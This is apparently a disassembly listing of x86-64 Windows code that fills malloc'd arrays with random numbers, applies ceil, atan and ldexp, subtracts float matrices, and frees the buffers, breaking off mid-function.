mov eax, dword [rbp + 0x50b4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x33d0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x50b4]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x33c8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.ceil
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x50b4], 0x152
jle 0x140002a55
mov dword [rbp + 0x50b0], 0xffffffff
mov ecx, 0xae0
call sym.malloc
mov qword [rbp + 0x33c0], rax
add dword [rbp + 0x50b0], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140048080]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x50b0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x33c0]
add rax, rdx
movsd xmm1, qword [0x140048098]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x50b0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x33c0]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x50b0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x33c0]
add rax, rdx
movq xmm1, qword [0x1400480a0]
andpd xmm0, xmm1
movsd qword [rax], xmm0
cmp dword [rbp + 0x50b0], 0x15a
jle 0x140002b55
mov dword [rbp + 0x50ac], 0xffffffff
add dword [rbp + 0x50ac], 1
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x2e8ba2e9
shr rdx, 0x20
sar edx, 2
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x33bc], edx
mov edx, dword [rbp + 0x33bc]
imul edx, edx, 0x16
sub eax, edx
mov dword [rbp + 0x33bc], eax
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140048080]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x33bc]
movq xmm0, rax
call dbg.ldexp
movq rax, xmm0
mov qword [rbp + 0x33b0], rax
cmp dword [rbp + 0x50ac], 0xc9
jle 0x140002c05
mov ecx, 0x718
call sym.malloc
mov qword [rbp + 0x33a8], rax
mov dword [rbp + 0x50a8], 0
jmp 0x140002ce5
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x50a8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x33a8]
add rax, rdx
movsd xmm1, qword [0x140048080]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x50a8], 1
cmp dword [rbp + 0x50a8], 0xe2
jle 0x140002ca7
mov dword [rbp + 0x50a8], 0
jmp 0x140002d4f
mov eax, dword [rbp + 0x50a8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x33a8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x50a8]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x33a8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.atan
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x50a8], 1
cmp dword [rbp + 0x50a8], 0xe2
jle 0x140002cfd
mov ecx, 0x63c
call sym.malloc
mov qword [rbp + 0x33a0], rax
mov ecx, 0x63c
call sym.malloc
mov qword [rbp + 0x3398], rax
mov ecx, 0x63c
call sym.malloc
mov qword [rbp + 0x3390], rax
mov dword [rbp + 0x50a4], 0
jmp 0x140002e8f
mov dword [rbp + 0x50a0], 0
jmp 0x140002e7b
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
mov ecx, edx
sar ecx, 7
cdq
sub ecx, edx
imul edx, ecx, 0x7d0
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x50a4]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x33a0]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x50a0]
cdqe
movss dword [rdx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
mov ecx, edx
sar ecx, 7
cdq
sub ecx, edx
imul edx, ecx, 0x7d0
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x50a4]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x3398]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x50a0]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x50a0], 1
cmp dword [rbp + 0x50a0], 0x12
jle 0x140002dac
add dword [rbp + 0x50a4], 1
cmp dword [rbp + 0x50a4], 0x14
jle 0x140002d9d
mov dword [rbp + 0x50a4], 0
jmp 0x140002f7e
mov dword [rbp + 0x50a0], 0
jmp 0x140002f6a
mov eax, dword [rbp + 0x50a4]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x33a0]
add rdx, rax
mov eax, dword [rbp + 0x50a0]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x50a4]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x3398]
add rdx, rax
mov eax, dword [rbp + 0x50a0]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x50a4]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x3390]
add rdx, rax
subss xmm0, xmm1
mov eax, dword [rbp + 0x50a0]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x50a0], 1
cmp dword [rbp + 0x50a0], 0x12
jle 0x140002eba
add dword [rbp + 0x50a4], 1
cmp dword [rbp + 0x50a4], 0x14
jle 0x140002eab
mov rax, qword [rbp + 0x33a0]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x3398]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x3390]
mov rcx, rax
call sym.free
mov dword [rbp + 0x338c], 0
mov ecx, 0x4b0
call sym.malloc
mov qword [rbp + 0x3380], rax
mov ecx, 0x4b0
call sym.malloc
mov qword [rbp + 0x3378], rax
mov ecx, 0x4b0
call sym.malloc
mov qword [rbp + 0x3370], rax
mov dword [rbp + 0x509c], 0
jmp 0x1400030ee
mov dword [rbp + 0x5098], 0
jmp 0x1400030da
cmp dword [rbp + 0x5098], 9
jle 0x140003013
cmp dword [rbp + 0x509c], 0x1d
jle 0x140003004
mov dword [rbp + 0x509c], 0
jmp 0x1400031e6
cmp dword [rbp + 0x509c], 0x1d
jle 0x14000310a